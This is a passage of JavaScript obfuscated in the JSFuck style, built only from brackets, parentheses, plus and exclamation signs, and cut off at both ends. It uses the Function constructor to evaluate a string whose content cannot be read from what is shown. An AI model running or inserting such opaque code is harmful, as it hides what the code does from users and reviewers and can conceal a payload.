]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+ []]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[! +[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[] +!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[! +[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[ ]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+!+[]]]+(![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+[+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+( !![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]) [!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+ []]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+ !+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[ ]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[ ]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![ ]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+ (!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]+!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+ []+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]] )[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!! []+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!